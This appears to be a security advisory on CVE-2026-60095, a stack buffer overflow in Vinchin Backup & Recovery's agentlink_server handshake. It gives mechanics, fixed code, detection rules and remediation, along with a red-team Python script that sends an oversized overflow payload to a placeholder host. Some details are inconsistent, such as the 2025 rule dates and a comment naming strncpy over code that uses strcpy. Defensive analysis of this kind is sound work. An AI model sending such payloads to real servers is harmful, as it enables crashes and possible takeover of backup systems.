CVE-2026-60095

Executive Summary

CVE-2026-60095 is a critical stack buffer overflow vulnerability in Vinchin Backup & Recovery, affecting versions up to and including 9.0.0.86562. The flaw resides in the ModuleHandShake function of the agentlink_server service. An unauthenticated, remote attacker can trigger a stack buffer overflow by sending a crafted request with an oversized _listen_uuid field. The vulnerability arises because the application uses strlen() to measure the input and then copies it into a fixed-length stack buffer using strcpy() without any bounds checking. This allows an attacker to overwrite the saved return address on the stack, leading to a process crash or, more critically, potential control flow hijacking. With a CVSS score of 9.8 (Critical), this vulnerability poses a severe risk to the confidentiality, integrity, and availability of the affected system. No public proof-of-concept (PoC) or patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None (N) – The attacker does not need any authentication or prior access.
• User Interaction (UI): None (N) – No user action is needed to trigger the exploit.
• Scope (S): Unchanged (U) – The exploit cannot affect resources beyond the vulnerable component.
• Confidentiality (C): High (H) – Successful exploitation could lead to full disclosure of all data on the system.
• Integrity (I): High (H) – The attacker could modify or delete any data on the system.
• Availability (A): High (H) – The attacker could cause a complete denial of service or crash the service.

Threat Level: Critical. The combination of remote exploitability, no authentication requirement, and the potential for full system compromise makes this a top-priority vulnerability for any organization using Vinchin Backup & Recovery.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the ModuleHandShake function of the agentlink_server service. This service is responsible for handling initial handshake requests from backup agents.

Root Cause: The function receives a _listen_uuid field from an incoming network request. It uses strlen() to determine the length of this field. However, it then copies the entire content into a fixed-length stack buffer using strcpy(). The strcpy() function does not perform any bounds checking, so if the _listen_uuid field is larger than the allocated stack buffer, it will overflow into adjacent memory on the stack.

Exploitation Mechanism:

1. An attacker sends a crafted network packet to the agentlink_server service (typically on a specific port).
2. The packet contains a _listen_uuid field that is significantly larger than the expected buffer size (e.g., 256 bytes).
3. The ModuleHandShake function copies this oversized data into the stack buffer using strcpy().
4. The overflow corrupts the stack, overwriting the saved return address and potentially other critical data.
5. By carefully crafting the overflow data, an attacker can control the return address and redirect execution to arbitrary code (e.g., a shellcode payload).

Impact:

• Process Crash: The most immediate impact is a denial of service (DoS) as the agentlink_server process crashes.
• Remote Code Execution (RCE): With precise control over the overflow, an attacker can achieve arbitrary code execution in the context of the agentlink_server process, which typically runs with high privileges (e.g., SYSTEM or root).

Vulnerable vs. Patched Code

Since no patch is available, this section describes the vulnerable code pattern and the expected fix.

Vulnerable Code (Conceptual C/C++):

void ModuleHandShake(char *request) {
    char buffer[256]; // Fixed-length stack buffer
    char *listen_uuid = extract_field(request, "_listen_uuid");
    
    // VULNERABLE: No bounds checking
    strcpy(buffer, listen_uuid);
    
    // ... rest of the function
}

Expected Patched Code:

void ModuleHandShake(char *request) {
    char buffer[256]; // Fixed-length stack buffer
    char *listen_uuid = extract_field(request, "_listen_uuid");
    
    // SAFE: Use strncpy with explicit length check
    if (strlen(listen_uuid) < sizeof(buffer)) {
        strcpy(buffer, listen_uuid);
    } else {
        // Handle error: log and reject the request
        log_error("Invalid _listen_uuid length");
        return;
    }
    
    // ... rest of the function
}

The fix involves either using strncpy() with a size limit or performing an explicit length check before copying.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Target: A virtual machine running Vinchin Backup & Recovery 9.0.0.86562 (or any vulnerable version).
2. Attacker: Kali Linux or any Linux distribution with Python and common networking tools.
3. Network: Both VMs on the same isolated network (e.g., NAT or Host-Only).

Exploitation Steps:

1. Identify the Service: Scan the target to find the agentlink_server service port (e.g., using Nmap).

   nmap -p- <target_ip>
   

2. Craft the Payload: Create a Python script to send a malicious _listen_uuid field.

   import socket
   
   target_ip = "192.168.1.100"
   target_port = 12345  # Replace with actual port
   
   # Craft a payload that overflows the buffer and overwrites the return address
   # This is a simplified example; actual exploitation requires precise offset calculation
   payload = b"_listen_uuid=" + b"A" * 300 + b"\x90" * 100 + b"\xcc" * 4  # NOP sled + INT3 for testing
   
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((target_ip, target_port))
   sock.send(payload)
   sock.close()
   

3. Trigger the Overflow: Run the script. If successful, the agentlink_server process will crash (DoS) or execute the shellcode (RCE).

Important: This is a conceptual example. Actual exploitation requires reverse engineering the binary to find the exact offset to the return address and bypassing any stack protections (e.g., ASLR, DEP).

Blue Team (Defensive)

Detection & Response:

1. Monitor Network Traffic: Look for unusually large _listen_uuid fields in network packets destined for the agentlink_server service.
2. Log Analysis: Check application logs for errors related to the ModuleHandShake function or stack corruption.
3. System Monitoring: Use EDR tools to detect abnormal process behavior, such as crashes or unexpected code execution in agentlink_server.
4. Honeypot: Deploy a decoy Vinchin Backup & Recovery instance to capture and analyze exploit attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Incoming packets to the agentlink_server port with a _listen_uuid field exceeding 256 bytes.
  • Repeated connection attempts from the same source IP to the agentlink_server service.
• Host IOCs:
  • Crash dumps of the agentlink_server process.
  • Unexpected child processes spawned by agentlink_server.
  • Modifications to system files or registry keys (if running on Windows).
  • Presence of shellcode or malicious binaries in the process memory.
• File IOCs:
  • Log files containing entries like "Buffer overflow detected" or "Invalid _listen_uuid length" (if logging is enabled).
  • Temporary files created by the exploit payload.

Detection Engineering

YARA Rule

rule CVE_2026_60095_Vinchin_Backup_Overflow {
    meta:
        description = "Detects network packets or memory artifacts related to CVE-2026-60095"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-60095"
    strings:
        $s1 = "_listen_uuid=" ascii wide nocase
        $s2 = "ModuleHandShake" ascii wide nocase
        $overflow_pattern = { 41 41 41 41 } // Pattern of 'AAAA' indicating overflow
    condition:
        $s1 and #overflow_pattern > 64
}

Sigma Rule

title: CVE-2026-60095 - Vinchin Backup Agentlink Server Buffer Overflow
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic indicative of a buffer overflow attempt against Vinchin Backup & Recovery agentlink_server.
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        destination_port: 12345  # Replace with actual port
        payload_length: "> 300"
        payload_content: "_listen_uuid="
    condition: selection
falsepositives:
    - Legitimate large UUIDs (unlikely)
level: critical

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 12345 (msg:"CVE-2026-60095 - Vinchin Backup Agentlink Server Buffer Overflow Attempt"; flow:to_server,established; content:"_listen_uuid="; distance:0; within:100; byte_test:1,>,64,0,relative; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: If possible, disconnect Vinchin Backup & Recovery servers from the network until a patch is available.
2. Firewall Rules: Block external access to the agentlink_server service port (default port unknown, but typically a high port). Only allow trusted backup agents.
3. Network Segmentation: Place the backup server in a separate VLAN with strict access controls.

Long-Term Fix:

• Vendor Patch: Monitor Vinchin's official channels for a security update. Apply the patch as soon as it is released.
• Workaround: If patching is not possible, consider disabling the agentlink_server service if it is not essential, or implement a reverse proxy that validates the _listen_uuid field length before forwarding requests.

Compensating Controls:

• IDS/IPS: Deploy the Suricata rule above to detect and block exploit attempts.
• Endpoint Protection: Use EDR solutions to monitor for abnormal behavior in the agentlink_server process.
• Application Whitelisting: Restrict execution of unknown binaries on the backup server.

Valters IT
Securing Your Digital Frontier